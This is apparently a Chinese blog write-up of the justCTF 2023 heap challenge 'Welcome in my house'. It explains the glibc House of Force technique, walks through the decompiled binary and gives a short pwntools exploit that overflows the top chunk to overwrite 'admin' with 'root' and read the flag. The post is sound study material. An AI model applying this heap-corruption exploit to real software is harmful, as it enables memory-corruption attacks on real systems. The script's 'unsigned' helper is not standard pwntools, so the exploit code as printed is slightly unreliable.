PWN> [justCTF2023]Welcome in my house

发布于 2023-06-05  21 次阅读


队里打比赛遇到的堆题,最后学长打通了并把 exp 放了出来给我们学习,由此学到 House of Force 这个很古老的豪斯(可以追溯到 House of 系列的创始文章The Malloc Maleficarum

先给一篇很棒的参考:

House of Force

House of Force 是一个针对 top chunk 的 size 域的利用手法,通过篡改 size 域来获得任意地址写

先来看看当 bins 里没有合适的 chunk 时 ptmalloc 是如何切割 top chunk 的

p = av->top;
size = chunksize (p);

/* check that one of the above allocation paths succeeded */
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
  {
    remainder_size = size - nb;
    remainder = chunk_at_offset (p, nb);
    av->top = remainder;
    set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head (remainder, remainder_size | PREV_INUSE);
    check_malloced_chunk (av, p, nb);
    return chunk2mem (p);
  }

/* catch all failure paths */
__set_errno (ENOMEM);
return 0;

其中,remainder就是切割后 top chunk 的地址,相关代码等价于

remainder = old_top_chunk_addr + new_chunk_size

结合 chunk 的结构,我们还有以下代换

new_chunk_size = request_size + 0x10 (0x08 for 32bit)
remainder = target + 0x10 (0x08 for 32bit)

代入等式,我们可以得到如下算式

request_size = target - old_top_chunk_addr - 0x20 (0x10 for 32bit)

这里算出的 size 无所谓正负,因为 size 的类型是 unsigned long,若是负数则发生 int overflow,依旧可以来到我们想要的地址

但单单如此我们很难进行利用,很多情况下我们想篡改的地址往往在 top chunk 下面,但按照公式此时申请的 size 为负数,也就是一个极大的无符号整数,top chunk 的大小无法满足分配要求
所以我们还需要将 top chunk 的 size 域篡改为一个大数,unsigned(-1)就是一个好选择

到这里我们可以总结出 House of Force 的核心要点

  • 利用条件
    • 可以申请任意大小的堆块
    • 可以溢出篡改 top chunk size
  • 利用流程
    • 获取 top chunk 的地址
    • 计算恶意 request size
    • 篡改 top chunk size 为大数
    • 申请第一次,此时 top chunk 迁移到目标地址前
    • 申请第二次,分配出目标地址,实现任意地址写

题目

题目没有开地址随机化

main()
先申请一个堆块,写入内容为 admin

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char *v3; // [rsp+8h] [rbp-8h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v3 = malloc(0x18uLL);
  strcpy(v3, "admin");
  menu(v3);
}

menu()
两个功能:增加用户、读 flag

void __fastcall __noreturn menu(const char *a1)
{
  int v1; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  while ( 1 )
  {
    puts("[!]\tWelcome in my house!\t[!]\n");
    printf("Actual user: %s\n\n", a1);
    puts("1. Create user\n2. Read flag\n3. Exit\n");
    printf(">>  ");
    __isoc99_scanf("%d", &v1);
    putchar(10);
    switch ( v1 )
    {
      case 1:
        create_user();
        break;
      case 2:
        read_flag(a1);
        break;
      case 3:
        exit(0);
    }
  }
}

create_user()
允许我们申请任意大小的堆块,并且并没有对输入长度做判断,可以溢出

unsigned __int64 create_user()
{
  char *v0; // rax
  size_t size; // [rsp+8h] [rbp-28h] BYREF
  char *src; // [rsp+10h] [rbp-20h]
  char *dest; // [rsp+18h] [rbp-18h]
  char *v5; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  printf("Enter username: ");
  src = malloc(0x19uLL);
  __isoc99_scanf("%s", src);
  putchar(10);
  dest = malloc(0x18uLL);
  strcpy(dest, src);
  printf("Enter password: ");
  v5 = malloc(0x18uLL);
  __isoc99_scanf("%s", v5);
  putchar(10);
  printf("Enter disk space: ");
  putchar(10);
  __isoc99_scanf("%lu", &size);
  malloc(size);
  v0 = malloc(0x18uLL);
  strcpy(v0, v5);
  return __readfsqword(0x28u) ^ v6;
}

read_flag()
虽然让我们读 flag,但对一开始 main 里申请的堆块的内容做判定

int __fastcall read_flag(const char *a1)
{
  if ( !strcmp(a1, "root") )
    return system("cat flag.txt");
  else
    return puts("[-] You have to be root to read flag!\n");
}

由于后面申请的堆块都在初始块上放,正常来说我们无法修改 admin 为 root,但无地址随机化和输入可以溢出为我们指明了 House of Force 这条明路,剩下的只需要一步步算恶意 request size 即可

exp

不同于其他堆题,这里的 exp 出奇的短

from pwn import *
context.arch = 'amd64'

io = process('./house')

def add(name, password, size):
    io.sendlineafter('>>', '1')
    io.sendlineafter('Enter username:', name)
    io.sendlineafter('Enter password:', password)
    io.sendlineafter('Enter disk space:', str(size).encode())

def show():
    io.sendlineafter('>>', '2')
    io.interactive()

target = 0x603260
top_chunk = 0x6032e0
request = target - top_chunk - 0x20

add(b'a'*0x8, b'root\x00\x00\x00\x00'*3 + p64(unsigned(-1)), unsigned(request))
show()

做出来后才看明白题目描述“愿原力与你同在”其实已经明示了 House of Force(草
说起来 House of Force 好像是个很基础的手法,知识掌握还是太不扎实

PS:堆利用乱七八糟的豪斯也太多了吧,能不能来点 House of 百京二环、House of 汤臣一品之类的